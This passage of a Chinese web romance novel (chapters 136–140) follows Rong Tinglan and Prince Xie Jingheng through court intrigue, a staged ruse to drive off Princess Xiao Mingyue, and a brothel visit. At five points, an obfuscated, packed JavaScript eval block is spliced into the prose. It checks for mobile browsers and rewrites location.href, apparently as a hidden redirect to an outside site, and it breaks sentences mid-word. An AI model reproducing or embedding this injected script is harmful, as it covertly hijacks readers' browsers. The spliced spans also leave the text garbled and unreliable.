说着,叹了口气,“我考了一次没考上之后,便不再折腾了。祝兄不死心,屡战屡败,如今却已……” 说到这里,沈寒秋红了眼眶。 第136章 本王都没跳呢,你先跳了! 第一百三十六章本王都没跳呢,你先跳了! “……” 容汀兰想安慰他,告诉他祝家人没事。 但想到泄密可能给所有人带来危险,最后只好隐忍安慰道:“事已至此,沈公子节哀。” 又道:“如今朝中风云变幻,沈公子不妨再试试呢?殿试还有一段时间,也许到了那个时候,沈公子也能金榜题名。” “夫人的意思是?” 沈寒秋有些不理解。 容汀兰笑,“反正,最多也就是耽搁一个月,我建议沈公子试一试,也许到时候还能和自己期待的人做同僚,放下心中的大石头,也不好说。” 沈寒秋闻言心动。 容汀兰的话像是哑谜,可总像是在暗示着什么,而且从他们认识以来的种种来看,容汀兰不会害他,这话应该另有玄机。 于是,他点头道:“夫人既然这样说,那我就再去试一试。” 几人正说着话,谢景珩回来了。 “听说,嫂夫人把三公主的侍卫给打了一顿,还差点把三公主丢进狗窝?” 外面日光倾城。 男人的声音像是被光浸透,暖融融的似乎带着笑,分外迷人。 容汀兰的心跳随之起伏,看向门口走进来的人,“王爷怎么直接来紫烟阁了?” 谢景珩逆光站在门口。 背后的世界似乎都被光溶解了,只有他一人在那里,郎艳独绝,尊贵风流,“听说紫烟阁来了客人,本王过来看一眼。” 说话间,他已经来到了容汀兰身侧坐下。 莫名的,沈寒秋感觉到一股醋意,忙道:“王爷,我们本是来感谢您的,只是不好直接过去找,担心授人以柄。” 说着,起身拱手:“王爷救命之恩,寒秋没齿难忘,从此愿唯王爷马首是瞻。” 谢景珩却瞥了眼云彩月,问:“什么时候成亲?也不要总拖着,毕竟那日襄王世子也说了,你们是去商议大婚的。” “若是一直不成亲,倒叫人怀疑那天夜里有猫腻,你们两家在商量什么见不得人的事情。” 沈寒秋:“……” 珩王吃醋不着痕迹,但对别人而言,却是扭转命运威胁生存的存在。 他怕他缠着慕夫人,就催他和云彩月快点成亲,还带威胁的? 只是,他想不明白,若慕夫人不是他猜想的那个人,珩王为何要这么防备他? 而云彩月闻言,不由得看向沈寒秋。 沈寒秋无奈,只得道:“会尽快成婚的,到时候请王爷与夫人过去,还请两位不吝赏光。” “那敢情好。” 谢景珩毫不掩饰地回了四个字。 这下子,醋意就连云彩月和容汀兰都感觉到了。 容汀兰面色诡异,诧异地看了眼谢景珩,低低在他耳边咬耳朵,“王爷,我怎么感觉……你在吃醋呢?” “是啊。” 谢景珩也不掩饰,瞥了眼沈寒秋,道:“毕竟,沈公子年轻俊朗,才华出众。嫂夫人国色天香武功盖世,还有那么好的医术,怎么看都很般配呢。” 容汀兰说的是悄悄话。 可是谢景珩却明目张胆说了出来。 一下子,把容汀兰弄得格外不好意思,忙道:“沈公子和云郡主已经定亲了。” 沈寒秋也一脸汗颜,赶紧澄清,“王爷莫要误会,比起容貌王爷乃是天上的谪仙,在下不过是地上的尘土。比起才华,在下远不及王爷十之一二,您与慕夫人才是天作之合,神仙眷侣。” “……” 容汀兰和云彩月看着他,都目瞪口呆。 而谢景珩则哼了一声,“听闻沈公子高冷,惜字如金,却不成想也能说出这么长一串话。” 沈寒秋:“……” 是他乐意吗? 是他想说话吗? 他是被迫的好不好? 但此地不宜久留是真的! 于是,沈寒秋直接告辞,“那我们就不打扰王爷了,若王爷有用得着的地方,您派人知会一声就行。” 说完,赶紧拉着云彩月走人。 谢景珩目送他们远去,扭头看向容汀兰,“嫂夫人觉得,沈公子如何?” 容汀兰:“……” “与王爷不能相提并论,”容汀兰只好拍马屁,“曾经沧海难为水,除却巫山不是云。见过了王爷的绝世容颜,再看其他人,都是地上的泥巴。” “嫂夫人嘴真甜。” 有了第一次,第二次就顺畅了很多。 谢景珩抬起她下巴,在她唇上亲了一口。 容汀兰心跳如鼓,笑脸倏然红成了苹果,但她向来不是内敛的性子,回神勾住他的脖子反击回去。 两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806206|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人瞬间缠成一团。 情到深处,谢景珩不禁把手放在她胸口,“嫂夫人,可以吗?” “啊!” 容汀兰恼羞,挣脱他的怀抱从院中冲出去。 谢景珩一愣,正要喊人,结果听见外面“扑通”一声,等追出去的时候,容汀兰已经跳进了湖水里面,成了个落汤鸡。 只是,露出在外面的一张脸红彤彤的。 犹如出水芙蓉。 谢景珩扶额,“我又不是洪水猛兽……” 说着,把手递给她,“上来吧,这水太冷了,容易生病……”说话间,一股温暖的力量顺着手掌传递过去,将容汀兰包裹。 容汀兰拉着他的手上了岸,转身冲进了房间去换衣服。 可即便是下了一趟水,她还是感觉谢景珩那手掌的形状和温度,好像是烙印在了她胸口一样,让她心跳加速,脸颊滚烫。 谢景珩看着被关上的大门,摇头失笑,“本王都没跳呢,你先跳了。” 但心里却美滋滋的。 她对他有反应! 有反应就好,迟早让她离不开自己! 但鉴于刚刚这天雷勾地火的一下子,他觉得短时间当中,容汀兰是不会再想理会他了。 于是,他回到了凌烟阁。 暗影出来,说起上午的事情,“……夫人要对黄钊下手了,给了二皇子一瓶药,但属下不知那药的功效,说是要借黄钊的刀,杀二皇子。” “这些事情,她都是堂而皇之坐在您的书房里和二皇子商量的,一点都没避嫌。” 暗影说完,眼神复杂地看向谢景珩。 容汀兰可真的是太无法无天了。 但谢景珩闻言,却说了句,“理应如此。” 这样看来,那小丫头对他总算是有些信赖了,不容易。 又道:“既然这样,本王便给她添一把火吧。” 他说着,看向暗影,“这样,你放个消息出去,就说裴家出了这么大的事情,太子有失察之责,已经不适合坐在皇储的位置上。” “而二皇子又和黄钊那个残暴的佞臣不清不楚,显然也不是什么好东西,所以也不配继承皇位。” 暗影:“……” 他算是明白了,什么叫夫唱妇随,什么叫男女搭配干活不累,这两人凑一起简直了。 天生一对。 第137章 江湖上有个好情郎 第一百三十七章江湖上有个好情郎 暗影出去办事儿了。 谢景珩坐在书房里处理公务,手上拿的是税金案的卷宗,刚从大理寺出炉,还是热乎的。 他答应了容汀兰,要帮宋十娘拿回江南十三行,便要对那三年前的“陈世美”出手了。 容汀看换了身衣服,用内力蒸干了头发,坐在院子里还有些脸红。 逐风翻墙进来,眼神古怪,“您……爱上珩王了?” “你怎么知道的?” 容汀兰冷不丁被这么一问,下意识扭头看向他。 逐风:“……” “傻子都看出来了。” “……” 容汀兰想隐瞒,也瞒不住自己的心了。 “我觉得,很微妙。”她琢磨着谢景珩,“难道喜欢上一个人,就像是被下了毒一样吗?我觉得谢景珩有毒。” “喜欢上一个人,就这样。” 逐风看着她,“但我觉得,你比话本子上面写的,还要离谱一些。” 容汀兰:“……” 逐风又道:“但是,这也不怪你。珩王本就是天下女子的梦中情郎,遑论他还故意勾引你。” “你顶不住,只能证明你是个正常人,还没被仇恨冲昏头脑。” “……” 容汀兰一时间无言以对。 就连逐风都发现,谢景珩在勾引她了。 而逐风则道:“我觉得,这也不是什么坏事儿,也许有朝一日,你跟着珩王也能学会像个正常人一样生活,生儿育女,过上小日子。” 容汀兰听着这番话,想到了长姐。 长姐也是这么说的。 她希望她从仇恨中走出来,像个普通人那样幸福的活下去。 但,她和谢景珩之间,真的可以吗? 当下美则美矣,却不踏实。 像是海市蜃楼,没有真正的根基啊! 毕竟,她在谢景珩面前,除了心动是真的,其余什么都是假的…… 容汀兰叹了口气,“现在说什么都为时尚早,走一步看一步吧。” “我今天给二皇子和黄钊下了个套,你找机会给黄钊递个消息,就说二皇子和大祭司商量好,等二皇子登基之后,杀了黄钊这个酷吏笼络人心,踩着他的脑袋**。” “等黄钊中了毒,**会加剧他的内心反应,让他变得冲动不受控制。以他的心性,肯定会提前杀了二皇子,拎着二皇子的人头另找下家。” 逐风琢磨了这话片刻,眼神古怪地看向她,“黄钊杀了二皇子,那他就是死罪。等到了断头台上,他又因为**无法自控,岂不是要把镇南侯府的事情说出来?” 容汀兰点头,“所以,叫蝴蝶楼的人出手,在百姓当中散播消息,就说镇南侯府是被冤枉的,和沈家、祝家的案子一样。” 等**铺得差不多了,黄钊再出来自爆,镇南侯府的案子就可以重新提上日程。 这一切严丝合缝。 逐风唏嘘,“少主只有在和珩王谈情说爱的时候,才像个十六岁的小女孩。” “现在就不像了?” 容汀兰回神,瞥了他一眼。 逐风笑了起来,脸上的微笑面具被震得更加生动,“现在老谋深算,像是活了几千年的老狐狸。” 容汀兰:“……滚。” 她做势去踹逐风。 逐风笑着离开了。 因着上午发生的乌龙事件,容汀兰没去找谢景珩,倒是谢景珩下午亲自来找她了。 午饭之后,他带来了江南的茶,脸上挂着笑,“难得午后有一点点时间,来寻嫂夫人喝茶说话。” “……” 容汀兰汗颜,听他还一口一个嫂夫人的,无语道:“王爷觉得‘嫂夫人’这三个字叫着很顺口?” 本来很好的三个字,从他嘴里出来,就感觉变了味,尤其是他现在脱下**袍,换了一身松松垮垮的衣服,往哪里一站让人想要给他直接拽下来。 谢景珩当然是故意勾引她的,笑着道:“礼不能废。” 容汀兰:“……” 她脸上有些红,赶紧转移话题,“那王爷进来坐吧,正好我对宫里很好奇,不如聊聊?” “好啊。” 谢景珩在她对面坐下来,开始煮茶。 他的一举一动优雅矜持,却偏生带着几分勾人,像个包装精致的盒子,让人想一层层打开,看看里面到底是什么宝藏。 容汀兰感觉不能再看下去了。 她倏然移开了眼神,从架子上拿下来一堆药材,道:“午后我处理一点药,一边处理一边陪王爷喝茶,王爷不介意吧?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806207|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 主要是,要稍微转移一下注意力。 谢景珩勾唇,“不介意,我可以帮嫂夫人的忙。” 容汀兰:“……” 门外忽而一阵春风来,她的声音有些飘忽,“长离失踪,宫里还没发现吗?” 谢景珩点头,“得等今天晚上,皇上三日喝血一次,上次喝血是两天前,今晚会去取血。” 话锋一转,他说起了萧明月,“今晚倒是顾不上宫里的事情,萧明月不是来了吗?还带来那么多人,放在府上全是暗桩。” 容汀兰想到他出的馊主意,忍不住一阵脸红,抬眼看向他,“王爷真的打算今夜让我女扮男装?做你那莫须有的情郎?” “这么私密的事情,除了嫂夫人本王也想不到旁人,”谢景珩看向她,眼神真诚心里憋笑,“嫂夫人就帮帮我吧,看在我已经是个孤家寡人的份上。” 说着,眼神变得清亮,看上去可怜兮兮。 容汀兰有些服气。 她来之前调查谢景珩,外面都说他何等的威严冷酷,不可冒犯。 现在人到了跟前,那里看出半点冷酷了? 分明活灵活现得很,杀得了人打得了架,装得了可怜演得了蛊惑人心,分明是个多变的妖孽。 不过既然他这样说,容汀兰也就不客气了,“也不是不行,到时候王爷别反悔就行。” 喜欢人的自己找到了合理的理由让她占便宜,这要是都不敢上,她得多怂啊? 她不是那样的人。 谢景珩看着她的样子,勾唇,“嫂夫人尽可施为,本王会好好配合。” 两人的心跳,在同一时刻加速。 什么尽可施为,什么好好配合? 容汀兰感觉,很多词儿从谢景珩嘴巴里出来,都不那么正经了。 黏糊糊的时间过得无声无息,不知不觉就溜走了。 等琅琊来找的时候,已经到了傍晚。 “王爷,三公主醒来了,闹着说要见你,手上还拿着皇上的圣旨,属下等人也拦不住。” 谢景珩闻言哼了一声,“那就让她过来,正好本王有话要和她说。” 说完,看向容汀兰,“还请嫂夫人配合本王。” 容汀兰眼神诡异,“配合你告诉他,你其实在江湖上有个好情郎,你还是下面那一个?” 第138章 谢景珩回眸一笑百魅生 第一百三十八章谢景珩回眸一笑百魅生 “王爷对自己,倒是挺狠的。” 容汀兰上下打量谢景珩,真的万万没想到,他会给自己编这样的故事。 谢景珩也有点不好意思。 可之前“采花贼”来采他,他跟容汀兰说谎,说那采花贼是个男的,当初为的是防止容汀兰疑心自己。 防是防住了。 容汀兰压根没往自己身上想,甚至觉得那采花贼是变态,男女通吃。 现在,总不能说是女的吧? 所以,说过一个谎,就得用无数个谎去圆回来,直到越来越离谱,离谱到连自己都坑的地步。 “也是没法子,”谢景珩轻咳了一声,露出无奈的表情,“若萧明月能撑住今晚,那也撑不住明天、后天。到时候,本王被采花贼糟蹋的事情,是瞒不住的。” 他说着,看向容汀兰,“倒不如说那是本王在外的情郎,这样也好听一些。” 容汀兰:“……” 她一时间,不明白谢景珩想出这样的馊主意,到底是要面子还是不要面子。 谢景珩看着她无语的样子,憋笑道:“为了防止往后叫外人看见本王不堪的一面,今天晚上还要请嫂夫人卖力一些,将萧明月直接吓跑。” “否则,若是事情传出去,说本王成了采花贼的目标,本王往后无颜在外面行走。” “……” 容汀兰闻言,尴尬无奈,又深表同情,“可以,让我想一想怎么演,毕竟我没有经验……这样吧,一会儿我去找个淸倌儿,取点经。” “……” 这下子,轮到谢景珩无语了。 但容汀兰是正经的,她是真的在为谢景珩担心。 堂堂的摄政王被采花贼盯上,夜夜在别人身下婉转承欢,这要是被传出去,谢景珩直接换个国家生活算了。 理解! 她深刻理解谢景珩的难处! “那这样,等打发走了萧明月之后,我去就找人取经,晚上直接从外面回来找王爷。” 说着看向谢景珩,脸红道:“王爷要做好心理准备。” “……好。” 谢景珩从善如流,但耳迹也不由泛起了一丝丝绯红。 门口,琅琊感觉嘴巴好干啊。 好一阵子,才意识到自己自打进来之后,嘴巴张大就没闭上过—— 他都听到了一些什么啊! 门外突然传来一道娇滴滴的声音,“王爷,我有话想要跟你说,没想到你在这里。” 若不是这道声音过于熟悉,容汀兰还以为这不是萧明月,而是哪个我见犹怜的温婉丽人。 果然不只是她,人都有好几副面孔。 傲慢嚣张的萧明月也不例外,在梦中情郎面前,居然说话又嗲又温柔,直教人起鸡皮疙瘩。 容汀一阵哆嗦,扫了眼谢景珩,“你的准王妃来了。” 谢景珩幽怨地白了她一眼,“嫂夫人明知本王心里的人不是她……” “我开玩笑的。” 容汀兰赶忙安慰了一句。 心道,谢景珩这个人在外面威严狠辣,到了家里竟然小心思如此百转千回,生动得很。 没人理会萧明月。 萧明月自个儿进来了,看见容汀兰和谢景珩坐着喝茶,犹如已然成为夫妻似的,顿觉一股醋意涌上心头,委屈得红了眼眶。 “王爷,再有十几天,我就要嫁给你了。” 她看向谢景珩,脸当场就红了。 谢景珩今天穿得太随意,墨绿色的长袍松松垮垮挂在肩头,衬得他肌肤如玉,身段勾人,所以斜倚在椅子上,有种写意风流的美。 美得不真实,但动人心魄。 萧明月心脏砰砰狂跳,“王爷,我知道今日唐突,但是……父皇觉得,还是让我在婚前先熟悉熟悉珩王府才好……” 她说了好多话。 谢景珩才开口,“皇上赐婚本王无法拒绝,但是……” 他瞄了眼萧明月,眼神变得放肆且充满邪性,“三公主确实对本王不了解。本王对你这样软叽叽的美人儿,可没有一点点兴趣,瞧着还没有琅琊有劲儿。” 啥? 琅琊顿时起了一层鸡皮疙瘩,不可置信地看着自家王爷,他怎么变成了这个样子? 这是在勾引谁啊? 怎么…… 回眸一笑百媚生? 不不不,他肯定是眼花了! 琅琊揉揉自己的眼睛,定定看向谢景珩,却见他一只手臂搁在桌上撑着脑袋,三千青丝散落肩头,在桌上逶迤散开一片,如玉的胸膛与半片香肩……着实晃眼! 但,怎么有种任君采撷的感觉? 萧明月听得一头雾水,“我不明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806208|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白王爷的意思……” 虽然不明白,但是有种不祥的预感。 谢景珩眉眼婉转,瞥了眼容汀兰,“要不,嫂夫人帮忙给解释解释?” 容汀兰看着他这个样子,只觉得心跳快要冲出胸膛,但只能强迫自己冷静下来,配合演戏。 她笑了一声,看向萧明月,“王爷的意思是,他喜欢的其实是男的。三公主进了珩王府,恐怕要独守空房了,因为……” 嘴角上扬,她看了眼谢景珩,盈盈笑道:“王爷不但喜欢男的,还喜欢在下面。” “你懂了吧?” 她一副在说小秘密的表情,脸上也泛起了红晕,“三公主若是愿意为了王爷变成男儿身,武功盖世、力大无穷,能将王爷压在下面,让他感受到不一样的快乐,那或许还有一丝机会。” 萧明月眼睛瞪得跟铜铃一般大,好久在崩出一句,“你们在骗我!” “我不相信!” “这不可能!” 说着看向谢景珩,狠狠眨眼,“王爷是北魏的守护战神,在战场上叫敌人闻风丧胆的存在,就连我父皇都敬他三分,他怎么可能是个断袖?” 她脑袋摇得跟波浪鼓一样,装温婉都忘记了。 容汀兰睨了眼谢景珩。 三公主被他这么一折腾,恐怕三观都崩塌了,但她也乐得萧明月吃瘪,于是叹了口气,道:“否则,王爷这些年为何生人勿进呢?防的,就是你们这些狂蜂浪蝶,明明无法满足王爷,却还要往他身上扑。” “那你呢?” 萧明月瞪眼,脸红脖子粗地盯着容汀兰,瞳孔颤抖,“你也是女的,为什么你就可以!” “我啊?” 容汀兰勾唇笑,“我是王爷的长嫂,是珩王府的当家主母,我就算是嫁给王爷,也不会指望和他一起睡啊。” “但三公主你呢?” 容汀兰看向她,笑得甚至有些温柔,“若你也能忍受王爷与别的男人夜夜笙歌的话,那我也没有意见。只要你不来招惹我就是了。” 萧明月皱起了眉。 “我不相信!你们休想骗我!” 她愣了一会儿,没再理会容汀兰,反而看向谢景珩,眼神变得偏执又认真,“王爷,我知道你不喜欢我。但是我不会走的,这辈子,我一定会成为你的王妃。” 她不许谢景珩和别人在一起! 第139章 不找姑娘,找个小倌儿 第一百三十九章不找姑娘,找个小倌儿 “三公主自便。” 谢景珩没再多说什么,任由萧明月红着眼眶离开,等人走后才看向容汀兰,“看吧,偏执狂,不演一场戏是不行了。” 容汀兰点头,“是需要让她亲眼见一见,毕竟这故事离谱,换我我也不相信。” 谢景珩看着她神色肃重的样子憋笑,“那今晚,就麻烦嫂夫人了。” “行,我去一趟迎春楼,找个淸倌儿问一问。”容汀兰红了脸,起身收拾出门。 “咳!” 谢景珩呛了一下,慌忙起身,“辛苦嫂夫人了。” 说完,赶紧走人。 “爷,你你你你、你们认真的?” 琅琊追上去,只觉得脑子都嗡嗡嗡的,空白一片,“当真叫夫人去找小倌儿?” 心下腹诽:她还需要找吗? 夜里强闯凌烟阁,不是很熟稔? “自然不能,本王亲自去一趟……”谢景珩白了他一眼,脚下一点人消失了。 等再出来的时候,已经是一身黑衣,露出一张截然不同的脸,轮廓分明,桀骜张扬,妥妥一个霸道攻的架势。 琅琊看得目瞪口呆,等谢景珩消失之后,忍不住拽住暗影的袖子,“咱家爷这是疯了吧?他伪装小倌儿亲自教夫人如何对他霸王硬上弓?” 暗影看着他,不说话。 气氛怪怪的。 琅琊等了半天没人回应,他抬头看向暗影,“你——” 正要问他为何不说话,却见暗影看他的眼神犹如黑色的烈焰,灼热而幽深,瞬间将他吞没。 琅琊一僵,有什么东西似乎要捅破窗户纸。 而暗影看着他胸膛起伏。 琅琊爱说话,是暗卫当中最不称职的那个,爱八卦也掩饰了他其他的特质。 但此时细细看来,却发现他骨骼匀称纤柔,比寻常男子要秀气几分,尤其是唇红齿白,面容隽秀…… 喉结一滚。 暗影的目光掠过他的细腰翘臀,忽而感觉一股热意直冲天灵,倏然消失在了原地。 “神经……” 琅琊一脸懵,没了说话的人,他撇撇嘴之后去找别人聊天,暗自嘟囔,“我就不该找他说话,性格真是无趣啊,半天憋不出一个字……” 他摇着头,消失在了视线中。 暗影从屋后走出来,脑海里一道人影挥之不去,画面变得越来越有颜色。 他按住了眉心,“见鬼。” 忽而想起,数年前他沐浴时,琅琊毫无界限感地跳下来,又不好好沐浴,翘着屁股趴在青石上面,去够不远处的半颗西瓜。 那个画面…… 扑通一声。 暗影跳进了湖水里。 在不远处八卦的琅琊听见动静,跑过来看着他目瞪口呆,“你那么好的轻功,还能一头栽水里?该不会受伤了吧?把手给我,我拉你上来!” 他热心地伸出爪子。 暗影抬眸看向他。 他浑身湿漉漉的,可是眼神却犹如两簇黑色的火,片刻沙哑憋出一句,“离我远点,否则你会后悔。” “什么啊!” 琅琊无语,“我好心拉你,你说这样的话?你再这个样子,我以后再也不找你说话了!” 暗影:“……” 琅琊每次都说不跟他说话了。 每次都忍不住,把他从角落里拽出来,一脸眉飞色舞说别人的八卦,还荤素不忌,什么都说…… 暗影没理会他,瞳孔一缩倏地一个扎猛彻底消失在了水面之下。 琅琊:“……” “谁惹他了?” …… “你盯着凌烟阁那边,我就不相信,当真如珩王府这些人所说,珩王在外面有个情郎。” 萧明月回到隔壁的院中,眼神阴郁地盯着凌烟阁这边,尖锐的指甲掐着手帕,嗓音有些颤抖。 宫女清姬眉心紧皱,“若是真的,该当如何?” 萧明月看向她。 清姬道:“珩王入京已经有几年了,这几年当中,他的确生人勿进,没有任何女子可以靠近他,总不能说,这瀛洲无一人能如他的眼吧?” 萧明月听得烦躁,“可他和紫烟阁那个**,分明亲热得很。” “可紫烟阁那个,是谢景渊的妻子。” 清姬越说越觉得谢景珩可能真的是个断袖,“你想,谢景珩如果是断袖,那必定是要**的。奴婢刚去打听了一下,说谢景渊和那个慕夫人还有个女儿,人就在珩王府。” “珩王不想娶别的女人,又想要孩子,那谢景渊死后,小侄女儿是不是就刚刚好?” “慕夫人还能给他当个挡箭牌,又因为是长嫂,不必真的在一起。” “……” 萧明 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806209|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月听到这里,想**的心都有了。 她沉默了好一阵子,才咬牙切齿道:“说这么多有什么用?眼见才能为实!本公主就不相信,他谢景珩当真能让一个男人骑在他头上!” “若他真是断袖,该如何是好?” 清姬问。 萧明月脸拉得老长,“若是真的,本公主当然不能嫁给他!” 一时间,心里像是吃了个苍蝇一样难受。 她下令,让带来的一群人躲在凌烟阁外面盯着了。 暗影早就发现异常,冷笑一声纵身出了湖面,假装没看到这些人。 只是,在看向迎春楼的方向时,眼神变得古怪。 …… 此时。 容汀兰来到了迎春楼外面,有些尴尬,红着脸犹豫不决,做了好一阵子心理准备之后,才将那种羞耻压下去,一甩衣袍走了进去! 她换了男装,一身淡金色锦衣,矜贵雅致,貌似潘安。 妈妈桑立即迎上来,扭着**招呼道:“哎哟,好俊俏的公子哥,是来找哪位姑娘的?” “不找姑娘,找个小倌儿了。” 容汀兰感觉脸上火辣辣,塞给了妈妈桑一片金叶子,小声道:“要在上面的那种。” 妈妈桑一愣,上下打量她,随后露出一副了然的表情,“我懂!我懂!公子先去雅间坐一坐,奴家马上去给您找,保准教您满意!” 毕竟,出手太阔绰了。 她开门做生意,一向还是尊重孔方兄的。 容汀兰深呼吸了一口气,跟着她上了三层雅间,却在楼梯上听见有**琴,琴声激荡狂烈,犹如千军万马横扫沙场,又如雷霆闪电撕裂长空。 容汀兰被吸引,不禁循声望去,“好一个荡气回肠!” 妈妈桑一愣,“今日琴师怎么弹这种曲?” 她皱起了眉,正要叫人换成yin词滥调,结果一个属下急匆匆跑来,将她拉到了远处的角落里,低低说了句什么。 四周声音太杂,容汀兰注意力在那黑衣公子身上,没留意他们说了什么。 随后,那妈妈桑过来,眉开眼笑道:“这位公子,你可是看上咱们的琴师了?他叫惊弦,说起来……那方面与你说的一样,只是平常不接客。” “问问他是否愿意。” 容汀兰回神,她可不想找个油头粉面的。 这琴师她看着顺眼。 第140章 以身为饵 第一百四十章以身为饵 妈妈桑演戏演得出神入化,笑着道:“您稍等,我这就去给您问一问。若他愿意,径直带您房里来。” 说着,叫人带着容汀兰去房间。 容汀兰心情复杂。 四周喧闹,全是风花雪月,而她……居然是来学习如何和谢景珩行男男之事的……她可是连男女之间的事情,都没好好经历过呢! 但想到晚上,依然感到脸红。 没过多久,琴声停了。 脚步声传来,门口妈妈桑道:“人就在里面,你进去了好生伺候……” 也不知道是不是错觉,容汀兰总觉得,妈妈桑和这位叫惊弦的琴师说话,声音怎么颤得那么凶呢? 琴师嗓音低沉,格外磁性,“好。” 容汀兰心头一颤,看向门口。 珠帘一掀,黑衣琴师走了进来,衣摆随风而起,桀骜风流之间,自带一股风流倜傥,只是气场很强,只一眼看过来,便有种浓烈的侵略感。 不愧是攻。 容汀兰唏嘘,轻咳一声,叫妈妈桑下去。 妈妈桑点头,临走把门给带上了,在门外吩咐,任何人不得打扰这个房间的人。 说得非常严肃。 容汀兰心道,这就是金叶子的力量吗? 却不知,妈妈桑是被那黑衣公子吓得快尿出来了! “公子找我何事?” 黑衣琴师站在门口,歪头打量容汀兰,眼中带笑,却犹如森林里冲出来的野狼,激得容汀兰瞬间红了脸,心下啧啧称奇。 不愧是在上面的人,这气场、这野心的侵略感,爆发力就很强,在他下面那个人,肯定要被折腾得欲仙欲死。 “咳!” 面具遮挡了她的脸红。 容汀兰轻咳一声,硬着头皮看向他,“是这样的,本公子喜欢上了一个小公子,但不知男人之间的房事如何进行,所以想请教一下惊弦公子,如何做一个霸道的攻?” 见鬼了。 她年方十六,是一个名副其实的黄花大闺女呢。 居然来做这种事情。 男人憋笑,举步走向她。 不说话,却上前将手臂往她头顶一撑,将她困在了自己和墙壁之间,高大的身躯压下来,眼神火热神色暧昧,语调却格外蛊惑,仿若呢喃。 “公子不会?那,我来教教你……” 他一笑,一只手放在她肩头,去拉她的衣服。 容汀兰一把按住他的爪子,“说就行了,不必演示!” 心跳几乎要从胸膛里冲出来。 好诡异,这男人分明气质迥异,可她怎么感觉这人好像谢景珩? 尤其是那一双眼,虽然神情不同,但形状几乎是一模一样的。 屋里突然变得很热。 她感觉这样下去不行,于是转身逃开打开了朝着街的窗户,让凉风吹进来。 男人勾唇,斜倚在床边看着她,悠悠开了口,“攻最主要的是霸道,气场压制,有时还可以用一点道具,比如……” 一片红飘过。 容汀兰脸上一痒,扭头看向他,却见他手上正把玩着半截红绸,“你可以把他绑起来,让他反抗不得,尤其重要的是,你自己不能笑场,要气势如虹,一气呵成,否则他就会没感觉……” “……” 容汀兰感觉这个屋里好热。 她要这样对谢景珩吗? 她有些渴,端起桌上的水喝了半杯,“那、那衣服呢?” “你可以命令他自己脱,也可以自己动手,强行撕了,还可以这样说……” 忽而,男人一闪,靠近她,在她耳边说了句什么。 “啊!” 容汀兰脑子一下子炸了。 “可、可以了,就这样吧。” 她觉得有些扛不住了,主要是这个男的……不对劲儿。 她从窗口跳了出去。 男人站在窗口笑看着她,“客官,下次再来啊。” 说着,将手上的红绸丢下去,“道具送你了,祝你今晚旗开得胜。” 容汀兰站在闹市里,脸红得像是要着火一样,一把收了那红绸闪身消失。 老天爷,她可真不是来这种地方的料。 但到了珩王府,四周安静下来,星光照耀大地的时候,那黑衣男子的魔音灌耳变得清晰起来,反倒在她身上烧起了一把火。 让她跃跃欲试,看向了凌烟阁。 “谢景珩,这可是你自己要求的……不能怪我。”她摸了摸红彤彤的脸,等时间过去,并将即将要做的事情在脑海里过了一遍,只觉得今夜真热。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15806210|175154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她的脑子,都有点晕晕的。 …… 与此同时。 一道残影消失在凌烟阁,犹如一片羽毛融入月色,没有惊动任何人。 谢景珩回到房间,换掉了面具和身上的衣服,转身去后面的温泉沐浴,想到刚刚在迎春楼那一幕,嘴角上扬。 今夜霸王硬上弓,可是她自己答应的。 往后再想要赖账,那恐怕就不行了。 他靠在温润的青石上面,亦有些心猿意马,丢给暗影一句话,“今夜,换鹅梨帐中香。” 暗影:“……” 